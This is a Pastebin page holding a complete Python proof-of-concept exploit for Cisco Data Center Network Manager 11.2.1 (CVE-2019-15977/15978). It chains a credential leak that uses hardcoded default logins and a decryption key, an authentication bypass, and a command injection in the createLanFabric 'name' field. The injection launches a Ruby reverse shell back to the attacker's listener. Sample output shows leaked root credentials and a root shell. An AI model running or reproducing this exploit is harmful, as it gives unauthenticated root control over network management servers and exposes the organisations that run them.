Advertisement
Guest User

Untitled

a guest
Feb 25th, 2020
139
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 6.57 KB | None | 0 0
  1. #!/usr/bin/python
  2. """
  3. Cisco Data Center Network Manager LanFabricImpl createLanFabric Command Injection Remote Code Execution Vulnerability
  4.  
  5. Tested on: Cisco DCNM 11.2.1 ISO Virtual Appliance for VMWare, KVM and Bare-metal servers
  6. - Release: 11.2(1)
  7. - Release Date: 05-Jun-2019
  8. - FileName: dcnm-va.11.2.1.iso.zip
  9. - Size: 4473.54 MB (4690850167 bytes)
  10. - MD5 Checksum: b1bba467035a8b41c63802ce8666b7bb
  11.  
  12. Bug 1: CVE-2019-15977 / ZDI-20-012
  13. Bug 2: CVE-2019-15977 / ZDI-20-013
  14. Bug 3: CVE-2019-15978 / ZDI-20-102
  15.  
  16. Example:
  17. ========
  18.  
  19. saturn:~ mr_me$ ./poc.py
  20. (+) usage: ./poc.py <target> <connectback:port>
  21. (+) eg: ./poc.py 192.168.100.123 192.168.100.59
  22. (+) eg: ./poc.py 192.168.100.123 192.168.100.59:1337
  23.  
  24. saturn:~ mr_me$ ./poc.py 192.168.100.123 192.168.100.59:1337
  25. (+) leaked user: root
  26. (+) leaked pass: Dcnmpass123
  27. (+) leaked vfs path: temp18206a94b7c45072/content-85ba056e1faec012
  28. (+) created a root session!
  29. (+) starting handler on port 1337
  30. (+) connection from 192.168.100.123
  31. (+) pop thy shell!
  32. id
  33. uid=0(root) gid=0(root) groups=0(root)
  34. uname -a
  35. Linux localhost 3.10.0-957.10.1.el7.x86_64 #1 SMP Mon Mar 18 15:06:45 UTC 2019 x86_64 x86_64 x86_64 GNU/Linux
  36. """
  37.  
  38. import re
  39. import sys
  40. import random
  41. import socket
  42. import string
  43. import requests
  44. import telnetlib
  45. from threading import Thread
  46. from Crypto.Cipher import Blowfish
  47. from requests.auth import HTTPBasicAuth
  48. from requests.packages.urllib3.exceptions import InsecureRequestWarning
  49. requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
  50.  
  51. def handler(lp):
  52. print "(+) starting handler on port %d" % lp
  53. t = telnetlib.Telnet()
  54. s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  55. s.bind(("0.0.0.0", lp))
  56. s.listen(1)
  57. conn, addr = s.accept()
  58. print "(+) connection from %s" % addr[0]
  59. t.sock = conn
  60. print "(+) pop thy shell!"
  61. t.interact()
  62.  
  63. def exec_code(t, lp, s):
  64. handlerthr = Thread(target=handler, args=(lp,))
  65. handlerthr.start()
  66. c = { "JSESSIONID" : sessionid }
  67. r = requests.get("https://%s/%s" % (t, s), cookies=c, verify=False)
  68.  
  69. def random_string(string_length = 8):
  70. """ generate a random string of fixed length """
  71. letters = string.ascii_lowercase
  72. return ''.join(random.choice(letters) for i in range(string_length))
  73.  
  74. def decrypt(key):
  75. """ decrypt the leaked password """
  76. cipher = Blowfish.new("jaas is the way", Blowfish.MODE_ECB)
  77. msg = cipher.decrypt(key.decode("hex"))
  78. return msg
  79.  
  80. def we_can_leak(target):
  81. """ used to bypass auth """
  82. global dbuser, dbpass, vfspth, jdbc, rootuser, rootpass
  83. dbuser = None
  84. dbpass = None
  85. vfspth = None
  86. rootuser = None
  87. rootpass = None
  88. jdbc = None
  89. uri = 'https://%s/serverinfo/HtmlAdaptor?action=displayServerInfos' % target
  90. c = HTTPBasicAuth('admin', 'nbv_12345')
  91. r = requests.get(uri, verify=False, auth=c)
  92. leaked = r.text
  93. match = re.search("db.password = #(.*)", leaked)
  94. if match:
  95. dbpass = match.group(1)
  96. match = re.search("db.user = (.*)", leaked)
  97. if match:
  98. dbuser = match.group(1)
  99. match = re.search("dcnmweb = (.*)", leaked)
  100. if match:
  101. vfspth = match.group(1)
  102. match = re.search("db.url = (.*)", leaked)
  103. if match:
  104. jdbc = match.group(1)
  105. match = re.search("server.sftp.password = #(.*)", leaked)
  106. if match:
  107. rootpass = match.group(1)
  108. match = re.search("server.sftp.username = (.*)", leaked)
  109. if match:
  110. rootuser = match.group(1)
  111. if dbuser and dbpass and vfspth and jdbc and rootuser and rootpass:
  112. return True
  113. return False
  114.  
  115. def we_can_login(target, password):
  116. """ we have bypassed auth at this point by leaking the creds """
  117. global sessionid, resttoken
  118. d = {
  119. "j_username" : rootuser,
  120. "j_password" : password,
  121. }
  122. uri = "https://%s/j_spring_security_check" % target
  123. r = requests.post(uri, data=d, verify=False, allow_redirects=False)
  124. if "Set-Cookie" in r.headers:
  125. match = re.search(r"JSESSIONID=(.{56}).*resttoken=(\d{1,3}:.{44});", r.headers["Set-Cookie"])
  126. if match:
  127. sessionid = match.group(1)
  128. resttoken = match.group(2)
  129. return True
  130. return False
  131.  
  132. def pop_a_root_shell(t, ls, lp):
  133. """ get dat shell! """
  134. handlerthr = Thread(target=handler, args=(lp,))
  135. handlerthr.start()
  136. uri = "https://%s/rest/fabrics" % t
  137. cmdi = "%s\";'`{ruby,-rsocket,-e'c=TCPSocket.new(\"%s\",\"%d\");" % (random_string(), ls, lp)
  138. cmdi += "while(cmd=c.gets);IO.popen(cmd,\"r\"){|io|c.print(io.read)}end'}`'\""
  139. j = {
  140. "name" : cmdi,
  141.  
  142. # this is needed to pass validate() on line 149 of the LanFabricImpl class
  143. "generalSetting" : {
  144. "asn" : "1337",
  145. "provisionOption" : "Manual"
  146. },
  147. "provisionSetting" : {
  148. "dhcpSetting": {
  149. "primarySubnet" : "127.0.0.1",
  150. "primaryDNS" : "127.0.0.1",
  151. "secondaryDNS" : "127.0.0.1"
  152. },
  153. "ldapSetting" : {
  154. "server" : "127.0.0.1"
  155. },
  156. "amqpSetting" : {
  157. "server" : "127.0.0.1:1337"
  158. }
  159. }
  160. }
  161. c = { "resttoken": resttoken }
  162. r = requests.post(uri, json=j, cookies=c, verify=False)
  163. if r.status_code == 200 and ls in r.text:
  164. return True
  165. return False
  166.  
  167. def main():
  168. if len(sys.argv) != 3:
  169. print "(+) usage: %s <target> <connectback:port>" % sys.argv[0]
  170. print "(+) eg: %s 192.168.100.123 192.168.100.59" % sys.argv[0]
  171. print "(+) eg: %s 192.168.100.123 192.168.100.59:1337" % sys.argv[0]
  172. sys.exit(1)
  173. t = sys.argv[1]
  174. cb = sys.argv[2]
  175. if not ":" in cb:
  176. print "(+) using default connectback port 4444"
  177. ls = cb
  178. lp = 4444
  179. else:
  180. if not cb.split(":")[1].isdigit():
  181. print "(-) %s is not a port number!" % cb.split(":")[1]
  182. sys.exit(-1)
  183. ls = cb.split(":")[0]
  184. lp = int(cb.split(":")[1])
  185.  
  186. # stage 1 - leak the creds
  187. if we_can_leak(t):
  188. pwd = re.sub(r'[^\x20-\x7F]+','', decrypt(rootpass))
  189. print "(+) leaked user: %s" % rootuser
  190. print "(+) leaked pass: %s" % pwd
  191. print "(+) leaked vfs path: %s" % "/".join(vfspth.split("/")[10:])
  192.  
  193. # stage 2 - get a valid sesson
  194. if we_can_login(t, pwd):
  195. print "(+) created a root session!"
  196.  
  197. # stage 3 - get a root shell via cmdi
  198. pop_a_root_shell(t, ls, lp)
  199.  
  200. if __name__ == "__main__":
  201. main()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement